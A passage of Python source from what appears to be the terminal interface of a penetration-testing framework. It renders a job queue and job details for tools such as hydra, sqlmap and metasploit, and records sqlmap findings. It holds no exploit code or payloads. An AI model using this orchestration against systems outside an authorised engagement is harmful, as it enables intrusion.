    console.print("[bold yellow]▸ Safety Controls[/bold yellow]")
    console.print("  " + "─" * 40)
    console.print()
    console.print("  • [bold]Rate limiting[/bold] - Prevents job flooding")
    console.print("  • [bold]Scope protection[/bold] - Only targets in-scope hosts")
    console.print("  • [bold]Brute-force safeguards[/bold] - Hydra rules disabled by default")
    console.print()

    # Footer
    console.print("[dim]Press any key to return...[/dim]")
    click.pause('')


def show_job_queue_help():
    """Display the Job Queue help guide with Rich formatting."""
    from rich.console import Console
    from rich.panel import Panel
    from rich.table import Table
    from rich import box

    console = Console()
    DesignSystem.clear_screen()

    # Header
    console.print()
    console.print(Panel(
        "[bold cyan]Job Queue Guide[/bold cyan]",
        box=box.DOUBLE,
        padding=(0, 2)
    ))
    console.print()

    # Overview section
    console.print("[bold yellow]▸ Overview[/bold yellow]")
    console.print("  " + "─" * 40)
    console.print()
    console.print("  The Job Queue shows all tool executions for the current engagement.")
    console.print("  Jobs are created manually or automatically via auto-chaining.")
    console.print()

    # Job statuses
    console.print("[bold yellow]▸ Job Statuses[/bold yellow]")
    console.print("  " + "─" * 40)
    console.print()

    status_table = Table(show_header=True, header_style="bold", box=box.SIMPLE, padding=(0, 1))
    status_table.add_column("Status", style="cyan", width=15)
    status_table.add_column("Meaning")
    status_table.add_row("✓ done", "Job completed successfully with results")
    status_table.add_row("⊘ no results", "Job completed but found nothing")
    status_table.add_row("⏳ running", "Job is currently executing")
    status_table.add_row("⏸ queued", "Job is waiting to run")
    status_table.add_row("✗ failed", "Job encountered an error")
    status_table.add_row("⊗ killed", "Job was manually stopped")
    console.print(status_table)
    console.print()

    # Actions
    console.print("[bold yellow]▸ Available Actions[/bold yellow]")
    console.print("  " + "─" * 40)
    console.print()
    console.print("  [magenta][v][/magenta]  - View job details and output")
    console.print("  [magenta][a][/magenta]  - Toggle viewing all engagements' jobs")
    console.print("  [magenta][k][/magenta]  - Kill all queued/running jobs")
    console.print("  [magenta][d][/magenta]  - Delete specific jobs by ID")
    console.print("  [magenta][x][/magenta]  - Purge all completed jobs")
    console.print()

    # Tips
    console.print("[bold yellow]▸ Tips[/bold yellow]")
    console.print("  " + "─" * 40)
    console.print()
    console.print("  • [bold]Parent column[/bold] - Shows which job triggered this one (auto-chaining)")
    console.print("  • [bold]Automation[/bold] - Press [a] from main menu for Chain Rules & Pending Chains")
    console.print()

    # Footer
    console.print("[dim]Press any key to return...[/dim]")
    click.pause('')


def _jobs_bulk_action_menu(selected_jobs: set, all_jobs: list):
    """Show action menu for selected jobs."""
    from souleyez.engine.background import delete_job, kill_job

    click.echo()
    click.echo(f"  {click.style(f'Selected: {len(selected_jobs)} job(s)', bold=True)}")
    click.echo("    [v] View first selected job")
    click.echo("    [k] Kill selected running/queued jobs")
    click.echo("    [d] Delete selected completed jobs")
    click.echo("    [q] Back")

    action = click.prompt("  Select option", default='q', show_default=False).strip().lower()

    if action == 'v' and selected_jobs:
        first_id = next(iter(selected_jobs))
        view_job_detail(first_id)
    elif action == 'k':
        # Kill running/queued jobs
        killed = 0
        for jid in selected_jobs:
            job = next((j for j in all_jobs if j.get('id') == jid), None)
            if job and job.get('status') in ['running', 'queued']:
                if kill_job(jid):
                    killed += 1
        click.echo(click.style(f"  ✓ Killed {killed} job(s)", fg='green'))
        selected_jobs.clear()
        click.pause()
    elif action == 'd':
        # Delete completed jobs
        deleted = 0
        for jid in list(selected_jobs):
            job = next((j for j in all_jobs if j.get('id') == jid), None)
            if job and job.get('status') not in ['running', 'queued']:
                if delete_job(jid):
                    deleted += 1
                    selected_jobs.discard(jid)
        click.echo(click.style(f"  ✓ Deleted {deleted} job(s)", fg='green'))
        click.pause()


def _filter_jobs_by_status():
    """Prompt for job status filter."""
    click.echo("\nSelect status:")
    click.echo("  [1] Queued")
    click.echo("  [2] Running")
    click.echo("  [3] Done")
    click.echo("  [4] Error")
    click.echo("  [5] Warning")
    click.echo("  [6] No Results")
    click.echo("  [7] Killed")
    click.echo("  [q] Clear filter")

    try:
        choice_input = click.prompt("Status", type=str, default='q').strip()
        if choice_input == 'q':
            return None
        try:
            choice = int(choice_input)
            status_map = {
                1: 'queued',
                2: 'running',
                3: 'done',
                4: 'error',
                5: 'warning',
                6: 'no_results',
                7: 'killed'
            }
            return status_map.get(choice)
        except ValueError:
            return None
    except (KeyboardInterrupt, click.Abort):
        return None


def _filter_jobs_by_tool(jobs):
    """Prompt for tool filter based on unique tools in jobs."""
    # Get unique tools
    unique_tools = sorted(set(j.get('tool', '') for j in jobs if j.get('tool')))

    if not unique_tools:
        click.echo("\nNo tools found in jobs.")
        click.pause()
        return None

    click.echo("\nSelect tool:")
    for i, tool in enumerate(unique_tools, 1):
        click.echo(f"  [{i}] {tool}")
    click.echo("  [q] Clear filter")

    try:
        choice_input = click.prompt("Tool", type=str, default='q').strip()
        if choice_input == 'q':
            return None
        try:
            choice = int(choice_input)
            if 1 <= choice <= len(unique_tools):
                return unique_tools[choice - 1]
            return None
        except ValueError:
            return None
    except (KeyboardInterrupt, click.Abort):
        return None


def _filter_jobs_by_search():
    """Prompt for search term to filter jobs."""
    try:
        term = click.prompt("\nSearch term (target/label)", type=str, default='').strip()
        return term if term else None
    except (KeyboardInterrupt, click.Abort):
        return None


def view_jobs_menu():
    """Show jobs list and allow viewing details."""
    import math

    # Track filter and pagination state
    show_all_engagements = False
    current_page = 0
    PAGE_SIZE = 20
    view_all_jobs = False  # Toggle to show all jobs without pagination
    selected_jobs = set()  # Track selected job IDs

    # NEW: Filters (like Findings view)
    filters = {
        'status': None,
        'tool': None,
        'search': None
    }

    # Tutorial state
    from souleyez.ui.tutorial_state import get_tutorial_state
    tutorial_state = get_tutorial_state()

    while True:
        DesignSystem.clear_screen()

        # Fixed width for consistency with dashboard and menu
        width = 102

        # Get current engagement
        from souleyez.storage.engagements import EngagementManager
        em = EngagementManager()
        current = em.get_current()

        # Header with box drawing
        if show_all_engagements:
            render_standard_header("JOB QUEUE - ALL ENGAGEMENTS")
        else:
            eng_name = current['name'] if current else 'No Engagement'
            render_standard_header(f"JOB QUEUE - {eng_name}")

        # Tutorial hint for job queue - popup style
        hint = tutorial_state.get_hint_for_job_queue()
        if hint:
            iw = 85  # inner width (wide enough for hint text)
            def pline(text="", styled=None):
                if styled is None: styled = text
                return click.style("  ║", fg='yellow', bold=True) + "  " + styled + " " * (iw - 2 - len(text)) + click.style("║", fg='yellow', bold=True)
            click.echo()
            click.echo()
            click.echo(click.style("  ╔" + "═" * iw + "╗", fg='yellow', bold=True))
            hdr = " TUTORIAL "
            hpad = (iw - len(hdr)) // 2
            click.echo(click.style("  ║", fg='yellow', bold=True) + click.style(" " * hpad + hdr + " " * (iw - hpad - len(hdr)), fg='black', bg='yellow', bold=True) + click.style("║", fg='yellow', bold=True))
            click.echo(click.style("  ╠" + "═" * iw + "╣", fg='yellow', bold=True))
            click.echo(click.style("  ║", fg='yellow', bold=True) + " " * iw + click.style("║", fg='yellow', bold=True))
            title = hint.get('title', '')
            click.echo(pline(title, click.style(title, fg='cyan', bold=True)))
            click.echo(click.style("  ║", fg='yellow', bold=True) + " " * iw + click.style("║", fg='yellow', bold=True))
            for line in hint.get('hint', '').split('\n'):
                if len(line) > iw - 4: line = line[:iw-7] + "..."
                click.echo(pline(line))
            click.echo(click.style("  ║", fg='yellow', bold=True) + " " * iw + click.style("║", fg='yellow', bold=True))
            action = hint.get('action', '')
            if action:
                atxt = f"> {action}"
                click.echo(pline(atxt, click.style(atxt, fg='green', bold=True)))
            click.echo(click.style("  ║", fg='yellow', bold=True) + " " * iw + click.style("║", fg='yellow', bold=True))
            click.echo(click.style("  ╚" + "═" * iw + "╝", fg='yellow', bold=True))
            click.echo()
            click.echo()

        # Get all jobs (no limit for pagination)
        all_jobs = list_jobs(limit=500)
        
        # Filter jobs based on view mode
        if show_all_engagements:
            jobs = all_jobs
        else:
            # Only show current engagement's jobs
            if current:
                jobs = [j for j in all_jobs if j.get('engagement_id') == current['id']]
            else:
                jobs = []

        # Apply user filters
        if filters['status']:
            jobs = [j for j in jobs if j.get('status') == filters['status']]
        if filters['tool']:
            jobs = [j for j in jobs if j.get('tool') == filters['tool']]
        if filters['search']:
            search_term = filters['search'].lower()
            jobs = [j for j in jobs if search_term in j.get('target', '').lower()
                    or search_term in j.get('label', '').lower()]

        # Count jobs from other engagements
        other_eng_count = 0
        if current and not show_all_engagements:
            other_eng_count = len([j for j in all_jobs if j.get('engagement_id') != current['id']])

        if not jobs:
            if show_all_engagements:
                click.echo("  No jobs found across all engagements.")
            else:
                click.echo("  No jobs found for current engagement.")
            click.echo()
            click.echo("  💡 TIP: Press '?' for Job Queue help guide")
            click.echo()
            click.echo("─" * get_terminal_width())
            click.echo()
            if not show_all_engagements and current:
                click.echo("  [a] All engagements - View jobs from all engagements")
            click.echo("  [q] Back")
            click.echo()

            choice = click.prompt("  Select option", default="0", show_default=False).strip().lower()
            if choice == 'a' and not show_all_engagements:
                show_all_engagements = True
                continue
            elif choice == '?':
                show_job_queue_help()
                continue
            return

        # Calculate pagination
        total_jobs = len(jobs)
        total_pages = max(1, math.ceil(total_jobs / PAGE_SIZE))
        current_page = min(current_page, total_pages - 1)  # Clamp to valid range

        # Display jobs count, page info, running job, and pending chains
        from souleyez.core.pending_chains import get_pending_count
        pending_chains = get_pending_count()
        if view_all_jobs:
            page_info = "(all)"
        elif total_pages > 1:
            page_info = f"Page {current_page + 1}/{total_pages}"
        else:
            page_info = ""
        jobs_text = f"  {click.style('Total Jobs:', bold=True)} {total_jobs}"
        if page_info:
            jobs_text += f"  │  {page_info}"

        # Show currently running job
        running_jobs = [j for j in jobs if j.get('status') == 'running']
        if running_jobs:
            running = running_jobs[0]
            running_info = f"#{running['id']} {running.get('tool', '?')}"
            jobs_text += f"  │  {click.style('Running:', bold=True)} {click.style(running_info, fg='yellow')}"
            if len(running_jobs) > 1:
                jobs_text += f" (+{len(running_jobs) - 1})"

        if pending_chains > 0:
            jobs_text += f"  │  {click.style('Pending Chains:', bold=True)} {click.style(str(pending_chains), fg='yellow', bold=True)}"
        click.echo(jobs_text)

        # Show info about other engagement jobs if they exist
        if other_eng_count > 0 and not show_all_engagements:
            click.echo(f"  {click.style(f'ℹ️  {other_eng_count} job(s) from other engagements (hidden)', fg='blue', dim=True)}")
        click.echo()

        # Calculate slice for current page (or show all)
        if view_all_jobs:
            page_jobs = jobs
        else:
            start_idx = current_page * PAGE_SIZE
            end_idx = min(start_idx + PAGE_SIZE, total_jobs)
            page_jobs = jobs[start_idx:end_idx]

        # Use Rich Table for proper expansion
        from rich.console import Console
        from rich.table import Table

        console = Console()
        table = Table(show_header=True, header_style="bold", box=DesignSystem.TABLE_BOX, padding=(0, 1), expand=True)

        table.add_column("○", width=3, justify="center")  # Selection checkbox
        table.add_column("ID", justify="right", width=6)
        table.add_column("Status", width=12, no_wrap=True)
        table.add_column("Tool", style="cyan", width=12, no_wrap=True)
        table.add_column("Target", style="blue", no_wrap=True, overflow="ellipsis", max_width=45)
        table.add_column("Label", no_wrap=True, overflow="ellipsis", max_width=28)
        table.add_column("Parent", width=6, justify="right")  # Parent job ID for chain tracking
        table.add_column("Rule", width=6, justify="right")  # Rule ID that triggered this job

        # Build parent-child lookup for chain tracking
        job_has_children = {}
        for job in jobs:
            parent_id = job.get('parent_id') or job.get('metadata', {}).get('parent_id')
            if parent_id:
                job_has_children[parent_id] = True

        # Regex to strip ANSI escape codes
        import re
        ansi_escape = re.compile(r'\x1b\[[0-9;]*[a-zA-Z]')

        for job in page_jobs:
            jid = str(job.get('id', '?'))
            job_id_int = job.get('id')
            status = job.get('status', 'unknown')
            tool = job.get('tool', 'unknown')
            target = job.get('target', '')
            # Sanitize target - remove ANSI codes, newlines, and truncate
            if target:
                target = ansi_escape.sub('', target)  # Strip ANSI escape sequences
                target = target.replace('\n', ' ').replace('\r', '').strip()
                if len(target) > 45:
                    target = target[:42] + '...'

            # Get label (shows what the job does)
            label = job.get('label', '')
            if not label:
                label = '-'  # Show dash if no label set
            else:
                # Sanitize label - remove ANSI codes, newlines, and truncate
                label = ansi_escape.sub('', label)
                label = label.replace('\n', ' ').replace('\r', '').strip()
                if len(label) > 28:
                    label = label[:25] + '...'

            # Color code status with status marker
            if status == 'done':
                status_display = '[green]✓ done[/green]'
            elif status == 'no_results':
                status_display = '[dim white]⊘ no results[/dim white]'
            elif status == 'warning':
                status_display = '[yellow]⚠ warning[/yellow]'
            elif status == 'running':
                # Check if exploitation was detected
                if job.get('exploitation_detected'):
                    status_display = '[green]🎯 EXPLOITED[/green]'
                else:
                    status_display = '[yellow]▶ running[/yellow]'
            elif status in ('failed', 'error'):
                status_display = '[red]✗ error[/red]'
            elif status == 'killed':
                status_display = '[magenta]● killed[/magenta]'
            elif status == 'queued':
                status_display = '[cyan]◷ queued[/cyan]'
            else:
                status_display = status

            # Get parent job ID (for chain tracking)
            parent_id = job.get('parent_id') or job.get('metadata', {}).get('parent_id')
            parent_display = f"#{parent_id}" if parent_id else '-'

            # Get rule ID that triggered this job (if auto-chained)
            rule_id = job.get('rule_id') or job.get('metadata', {}).get('rule_id')
            rule_display = f"#{rule_id}" if rule_id else '-'

            # Checkbox based on selection
            checkbox = '●' if job_id_int in selected_jobs else '○'
            table.add_row(checkbox, jid, status_display, tool, target, label, parent_display, rule_display)

        console.print(table)
        click.echo()

        # Show active filters
        active_filters = [f"{k}={v}" for k, v in filters.items() if v]
        if active_filters:
            click.echo(f"  Filters: {', '.join(active_filters)}")
            click.echo()

        click.echo("  💡 TIP: Press 'i' for interactive mode")
        if total_pages > 1 and not view_all_jobs:
            click.echo("  n/p: Next/Previous page")
        click.echo()
        click.echo("─" * get_terminal_width())
        click.echo()
        click.echo("  [#] View job details")
        if view_all_jobs:
            click.echo("  [a] All - Show paginated view")
        else:
            click.echo("  [a] All - Toggle pagination")
        click.echo("  [s] Status - Filter by status")
        if not show_all_engagements and current:
            click.echo("  [e] Engagements - View all engagements")
        elif show_all_engagements:
            click.echo("  [e] Engagements - Current engagement only")
        click.echo("  [k] Kill - Stop running jobs")
        click.echo("  [q] Back")
        click.echo()

        try:
            choice = click.prompt("Select option", type=str, default='q', show_default=False).strip().lower()

            if choice == 'q' or choice == '':
                return

            elif choice == 'n' and current_page < total_pages - 1:
                current_page += 1
                continue

            elif choice == 'p' and current_page > 0:
                current_page -= 1
                continue

            elif choice == 'a':
                # Toggle pagination (like Findings [a] All)
                view_all_jobs = not view_all_jobs
                if not view_all_jobs:
                    current_page = 0  # Reset to first page when re-enabling pagination
                continue

            elif choice == 'e':
                # Toggle engagement view
                if show_all_engagements:
                    show_all_engagements = False
                else:
                    show_all_engagements = True
                current_page = 0  # Reset page when switching views
                continue

            elif choice == 's':
                # Filter by status
                filters['status'] = _filter_jobs_by_status()
                current_page = 0
                continue

            elif choice == 'o':
                # Filter by tool
                filters['tool'] = _filter_jobs_by_tool(all_jobs)
                current_page = 0
                continue

            elif choice == '/':
                # Search filter
                filters['search'] = _filter_jobs_by_search()
                current_page = 0
                continue

            elif choice == 'c':
                # Clear all filters
                filters = {'status': None, 'tool': None, 'search': None}
                current_page = 0
                continue

            elif choice.isdigit():
                # View job details directly by ID
                job_id = int(choice)
                view_job_detail(job_id)
                continue

            elif choice == 'i':
                # Interactive mode - use selector to pick jobs
                from souleyez.ui.interactive_selector import interactive_select

                # Build job dicts for selector
                job_dicts = [{'id': j.get('id'), 'status': j.get('status', '?'),
                             'tool': j.get('tool', '?'), 'target': j.get('target', '')}
                            for j in jobs]

                interactive_select(
                    items=job_dicts,
                    columns=[
                        {'name': 'ID', 'width': 8, 'key': 'id'},
                        {'name': 'Status', 'width': 12, 'key': 'status'},
                        {'name': 'Tool', 'width': 15, 'key': 'tool'},
                        {'name': 'Target', 'key': 'target'},
                    ],
                    selected_ids=selected_jobs,
                    get_id=lambda j: j['id'],
                    title='SELECT JOBS'
                )

                # Show bulk action menu if jobs selected
                if selected_jobs:
                    _jobs_bulk_action_menu(selected_jobs, jobs)
                continue

            elif choice == 'x':
                # Purge completed jobs
                from souleyez.engine.background import purge_all_jobs

                click.echo()
                if click.confirm("  Purge ALL completed jobs (done/error/killed)?", default=False):
                    count = purge_all_jobs()
                    click.echo(click.style(f"\n  ✓ Purged {count} job(s)", fg='green'))
                else:
                    click.echo("\n  Cancelled.")
                click.pause()

            elif choice == 'd':
                # Delete specific jobs using interactive selector
                from souleyez.engine.background import delete_job, get_job
                from souleyez.ui.interactive_selector import interactive_select

                # Filter to deletable jobs (not running/queued)
                deletable_jobs = [j for j in jobs if j.get('status') not in ['running', 'queued']]

                if not deletable_jobs:
                    click.echo(click.style("\n  No deletable jobs. Use [k] to kill running/queued jobs first.", fg='yellow'))
                    click.pause()
                    continue

                # Use interactive selector
                selected_job_ids = set()
                columns = [
                    {'name': 'ID', 'width': 6, 'key': 'id', 'justify': 'right'},
                    {'name': 'Status', 'width': 12, 'key': 'status'},
                    {'name': 'Tool', 'width': 12, 'key': 'tool'},
                    {'name': 'Target', 'width': 30, 'key': 'target'},
                    {'name': 'Label', 'key': 'label'},
                ]

                def format_job_cell(item: dict, key: str) -> str:
                    value = item.get(key)
                    if value is None:
                        return '-'
                    if key == 'status':
                        if value == 'done':
                            return '[green]done[/green]'
                        elif value == 'error':
                            return '[red]error[/red]'
                        elif value == 'killed':
                            return '[magenta]killed[/magenta]'
                        elif value == 'no_results':
                            return '[dim]no results[/dim]'
                    return str(value) if value else '-'

                interactive_select(
                    items=deletable_jobs,
                    columns=columns,
                    selected_ids=selected_job_ids,
                    get_id=lambda j: j.get('id'),
                    title='SELECT JOBS TO DELETE',
                    format_cell=format_job_cell
                )

                if not selected_job_ids:
                    click.echo("\n  No jobs selected.")
                    click.pause()
                    continue

                # Confirm deletion
                click.echo(f"\n  Jobs to delete: {', '.join(f'#{jid}' for jid in sorted(selected_job_ids))}")

                if click.confirm(f"  Delete {len(selected_job_ids)} job(s)?", default=False):
                    deleted = 0
                    for jid in selected_job_ids:
                        if delete_job(jid):
                            deleted += 1
                    click.echo(click.style(f"\n  ✓ Deleted {deleted} job(s)", fg='green'))
                else:
                    click.echo("\n  Cancelled.")

                click.pause()

            elif choice == 'i':
                # Interactive mode - select multiple jobs
                from souleyez.ui.interactive_selector import interactive_select
                from souleyez.engine.background import delete_job, kill_job

                selected_job_ids = set()
                columns = [
                    {'name': 'ID', 'width': 6, 'key': 'id', 'justify': 'right'},
                    {'name': 'Status', 'width': 14, 'key': 'status'},
                    {'name': 'Tool', 'width': 18, 'key': 'tool'},
                    {'name': 'Target', 'width': 30, 'key': 'target'},
                    {'name': 'Label', 'width': 30, 'key': 'label'},
                ]

                def format_job_cell(item: dict, key: str) -> str:
                    value = item.get(key)
                    if value is None:
                        return '-'
                    if key == 'status':
                        if value == 'done':
                            return '[green]✓ done[/green]'
                        elif value == 'no_results':
                            return '[dim]⊘ no results[/dim]'
                        elif value == 'running':
                            return '[yellow]▶ running[/yellow]'
                        elif value == 'queued':
                            return '[cyan]◷ queued[/cyan]'
                        elif value in ('error', 'failed'):
                            return '[red]✗ error[/red]'
                        elif value == 'killed':
                            return '[magenta]● killed[/magenta]'
                    return str(value) if value else '-'

                interactive_select(
                    items=jobs,
                    columns=columns,
                    selected_ids=selected_job_ids,
                    get_id=lambda j: j.get('id'),
                    title='SELECT JOBS',
                    format_cell=format_job_cell,
                    page_size=20
                )

                # After selection - show bulk action menu
                if selected_job_ids:
                    _jobs_bulk_action_menu(selected_job_ids, jobs)
                continue

            elif choice == 'k':
                # Kill all queued/running jobs
                from souleyez.engine.background import kill_job

                click.echo()
                # Count active jobs
                active_jobs = [j for j in jobs if j.get('status') in ['queued', 'running']]

                if not active_jobs:
                    click.echo(click.style("  No active jobs to kill.", fg='yellow'))
                    click.pause()
                    continue

                # Show which jobs will be killed
                job_list = ', '.join(f"#{j['id']}" for j in active_jobs[:5])
                if len(active_jobs) > 5:
                    job_list += f", ... ({len(active_jobs) - 5} more)"

                click.echo(click.style(f"  ⚠️  This will kill {len(active_jobs)} active job(s)!", fg='red', bold=True))
                click.echo(f"  Jobs: {job_list}")

                if click.confirm("  Are you sure?", default=False):
                    killed = 0
                    failed = 0
                    for job in active_jobs:
                        if kill_job(job['id']):
                            killed += 1
                        else:
                            failed += 1

                    if killed > 0:
                        click.echo(click.style(f"\n  ✓ Killed {killed} job(s)", fg='green'))
                    if failed > 0:
                        click.echo(click.style(f"  ✗ Failed to kill {failed} job(s)", fg='red'))
                else:
                    click.echo("\n  Cancelled.")
                click.pause()

            elif choice == '?':
                # Show Job Queue help guide
                show_job_queue_help()
                continue

            else:
                # Try to parse as job ID
                try:
                    job_id = int(choice)
                    view_job_detail(job_id)
                except ValueError:
                    click.echo(click.style("\n  ✗ Invalid choice! Enter a job ID, 'p' to purge, or '0' to return.", fg='red'))
                    click.pause()

        except (KeyboardInterrupt, click.Abort):
            return


def _save_sqlmap_findings(engagement_id: int, job: dict, parsed: dict):
    """Save SQLMap vulnerabilities as findings."""
    from souleyez.storage.findings import FindingsManager
    
    fm = FindingsManager()
    saved_count = 0
    
    for vuln in parsed.get('vulnerabilities', []):
        # Determine severity
        severity_map = {
            'sqli': 'critical',
            'xss': 'medium',
            'file_inclusion': 'high'
        }
        severity = vuln.get('severity', severity_map.get(vuln['vuln_type'], 'medium'))
        
        # Build title
        vuln_type_names = {
            'sqli': 'SQL Injection',
            'xss': 'Cross-Site Scripting (XSS)',
            'file_inclusion': 'File Inclusion'
        }
        vuln_name = vuln_type_names.get(vuln['vuln_type'], vuln['vuln_type'].upper())
        title = f"{vuln_name} - {vuln['parameter']}"
        
        # Build description
        description = vuln.get('description', '')
        description += f"\n\nURL: {vuln.get('url', 'N/A')}"
        description += f"\nParameter: {vuln['parameter']}"
        description += f"\nVulnerability Type: {vuln_name}"
        if vuln.get('injectable'):
            description += "\nStatus: Confirmed exploitable"
        else:
            description += "\nStatus: Possible vulnerability (needs verification)"
        
        # Add databases if found
        if parsed.get('databases'):
            description += f"\n\nDatabases enumerated ({len(parsed['databases'])}):"
            for db in parsed['databases']:
                description += f"\n  • {db}"
        
        # Add recommendation to description
        description += "\n\nRecommendation:\n"
        description += "• Implement parameterized queries/prepared statements\n"
        description += "• Validate and sanitize all user input\n"
        description += "• Use an ORM framework\n"
        description += "• Apply principle of least privilege to database accounts"
        
        # Get host_id from target IP/hostname
        host_id = None
        target = job.get('target', '')
        if target:
            from souleyez.storage.hosts import HostManager
            from urllib.parse import urlparse
            import re
            
            # Parse hostname/IP from target
            parsed_url = urlparse(target if '://' in target else f'http://{target}')
            hostname = parsed_url.hostname or target.split(':')[0].split('/')[0]
            
            # Check if it's an IP address or hostname
            is_ip = re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', hostname)
            
            hm = HostManager()
            if is_ip:
                # Look up by IP address
                host = hm.get_host_by_ip(engagement_id, hostname)
                if host:
                    host_id = host['id']
            else:
                # Look up by hostname - search through all hosts
                hosts = hm.list_hosts(engagement_id)
                for h in hosts:
                    # Check if hostname matches
                    if h.get('hostname') == hostname:
                        host_id = h['id']
                        break
        
        # Parse path from URL
        url = vuln.get('url', '')
        path = None
        if url:
            parsed_url = urlparse(url)
            path = parsed_url.path or '/'
        
        # Save finding
        try:
            fm.add_finding(
                engagement_id=engagement_id,
                title=title,
                severity=severity,
                finding_type='vulnerability',
                description=description,
                host_id=host_id,
                path=path,
                tool='sqlmap'
            )
            saved_count += 1
        except Exception as e:
            click.echo(click.style(f"Error saving finding: {e}", fg='red'))
    
    if saved_count > 0:
        click.echo(click.style(f"\n✓ Saved {saved_count} finding(s)", fg='green', bold=True))
    else:
        click.echo(click.style("\n✗ No findings were saved", fg='yellow'))


def view_job_detail(job_id: int):
    """Show detailed information about a specific job."""
    job = get_job(job_id)

    if not job:
        click.echo(click.style(f"Job {job_id} not found!", fg='red'))
        click.pause()
        return

    show_raw_logs = False
    show_all_paths = False  # Toggle for showing all paths vs limited (10 per status)
    log_offset = -2  # Pagination offset: -1 = full log, -2 = tail, >= 0 = page offset
    lines_per_page = 50  # Number of lines to show per page
    show_passwords = False  # Toggle for showing actual passwords vs masked

    while True:
        DesignSystem.clear_screen()
        width = get_terminal_width()
        click.echo("\n┌" + "─" * (width - 2) + "┐")
        click.echo("│" + click.style(f" JOB #{job_id} DETAILS ".center(width - 2), bold=True, fg='cyan') + "│")
        click.echo("└" + "─" * (width - 2) + "┘")
        click.echo()

        # Job info
        click.echo(f"Tool:    {job.get('tool', 'unknown')}")
        click.echo(f"Target:  {job.get('target', 'N/A')}")

        # Enhanced status display with timing
        status = job.get('status', 'unknown')
        status_colors = {
            'running': 'green',
            'completed': 'green',
            'failed': 'red',
            'queue': 'yellow'
        }
        status_color = status_colors.get(status, 'white')

        # Calculate elapsed time
        created_at = job.get('created_at')
        elapsed_str = ""
        if created_at:
            try:
                from datetime import datetime
                created_dt = datetime.fromisoformat(created_at.replace('Z', '+00:00'))
                elapsed = datetime.now(created_dt.tzinfo) - created_dt

                hours = int(elapsed.total_seconds() // 3600)
                minutes = int((elapsed.total_seconds() % 3600) // 60)
                seconds = int(elapsed.total_seconds() % 60)

                if hours > 0:
                    elapsed_str = f" ({hours}h {minutes}m {seconds}s elapsed)"
                elif minutes > 0:
                    elapsed_str = f" ({minutes}m {seconds}s elapsed)"
                else:
                    elapsed_str = f" ({seconds}s elapsed)"
            except:
                pass

        if status == 'running':
            # Check if exploitation was detected
            if job.get('exploitation_detected'):
                session_info = job.get('session_info', 'Session opened')
                click.echo(f"Status:  {click.style('🎯 EXPLOITED', fg='green', bold=True)} - {session_info}{elapsed_str}")
            else:
                click.echo(f"Status:  {click.style('▶ ' + status, fg=status_color, bold=True)}{elapsed_str}")
        else:
            click.echo(f"Status:  {click.style(status, fg=status_color)}{elapsed_str}")

        click.echo(f"Created: {job.get('created_at', 'N/A')}")

        if job.get('args'):
            click.echo(f"Args:    {' '.join(job['args'])}")

        if job.get('label'):
            click.echo(f"Label:   {job['label']}")

        # Show reason (how the job was created)
        metadata = job.get('metadata', {})
        reason = metadata.get('reason', '')
        if reason:
            click.echo(f"Reason:  {reason}")
        elif job.get('parent_id'):
            click.echo(f"Reason:  Auto-chained from job #{job.get('parent_id')}")
        else:
            click.echo(f"Reason:  Manual (created by user)")

        if job.get('pid'):
            click.echo(f"PID:     {click.style(str(job['pid']), fg='cyan')}")

        click.echo()

        # Check if tool has a parser - if yes, hide raw logs by default
        tool = job.get('tool', '')
        has_parser = tool in ['dnsrecon', 'nmap', 'nuclei', 'nikto', 'dalfox', 'theharvester', 'sqlmap', 'ffuf', 'gobuster', 'wpscan', 'crackmapexec', 'hydra', 'whois', 'smbmap', 'enum4linux', 'msf_auxiliary', 'searchsploit']

        # Show log file if exists
        log_path = job.get('log')
        if log_path and os.path.exists(log_path):
            # Security check: Require password for logs that may contain credentials
            from souleyez.storage.crypto import get_crypto_manager
            crypto = get_crypto_manager()

            # Tools that commonly expose credentials in logs
            credential_tools = [
                'enum4linux', 'hydra', 'medusa', 'nmap', 'metasploit',
                'john', 'hashcat', 'crackmapexec', 'smbmap', 'rpcclient',
                'ldapsearch', 'snmpwalk', 'wpscan', 'sqlmap'
            ]

            tool_name = job.get('tool', '').lower()
            requires_auth = any(cred_tool in tool_name for cred_tool in credential_tools)

            if crypto.is_encryption_enabled() and requires_auth and not crypto.is_unlocked():
                click.echo(click.style("🔒 CREDENTIAL PROTECTION ENABLED", bold=True, fg='yellow'))
                click.echo()
                click.echo(click.style(f"This job ({tool_name}) may contain sensitive credential data.", fg='yellow'))
                click.echo(click.style("Password required to view logs.", fg='yellow'))
                click.echo()

                import getpass
                password = getpass.getpass("Enter password: ")

                if not crypto.unlock(password):
                    click.echo(click.style("\n✗ Incorrect password - cannot display logs", fg='red'))
                    click.echo()
                    click.pause()
                    return

                click.echo(click.style("✓ Access granted", fg='green'))
                click.echo()

            # Check log file modified time for "Last Output" indicator
            last_output_str = ""
            try:
                from datetime import datetime
                log_mtime = os.path.getmtime(log_path)
                log_dt = datetime.fromtimestamp(log_mtime)
                now = datetime.now()
                output_elapsed = now - log_dt

                seconds_ago = int(output_elapsed.total_seconds())
                if seconds_ago < 60:
                    last_output_str = f"Last Output: {seconds_ago}s ago"
                elif seconds_ago < 3600:
                    last_output_str = f"Last Output: {seconds_ago // 60}m ago"
                else:
                    last_output_str = f"Last Output: {seconds_ago // 3600}h ago"
            except:
                pass

            # Show raw logs if: user toggled raw logs OR tool doesn't have a parser
            if show_raw_logs or not has_parser:
                click.echo(click.style("LOG OUTPUT:", bold=True, fg='cyan'))
                if last_output_str:
                    click.echo(click.style(last_output_str, dim=True))
                click.echo("-" * 70)

                try:
                    with open(log_path, 'r', encoding='utf-8', errors='replace') as f:
                        content = f.read()

                    # Pagination logic
                    all_lines = content.split('\n')
                    total_lines = len(all_lines)

                    # Determine which lines to display
                    if log_offset == -1:  # Show full log
                        lines_to_show = all_lines
                        click.echo(f"(showing all {total_lines} lines)\n")
                    elif log_offset == -2:  # Show tail (last page)
                        start_idx = max(0, total_lines - lines_per_page)
                        lines_to_show = all_lines[start_idx:]
                        if total_lines > lines_per_page:
                            click.echo(f"... (showing last {len(lines_to_show)} of {total_lines} lines - press [f] for full log)\n")
                        else:
                            click.echo(f"(showing all {total_lines} lines)\n")
                    else:  # Paginated view
                        start_idx = log_offset
                        end_idx = min(start_idx + lines_per_page, total_lines)
                        lines_to_show = all_lines[start_idx:end_idx]

                        # Show pagination info
                        if total_lines > lines_per_page:
                            showing_range = f"{start_idx + 1}-{end_idx}"
                            nav_hints = []
                            if end_idx < total_lines:
                                nav_hints.append("[m] more")
                            nav_hints.append("[f] full log")
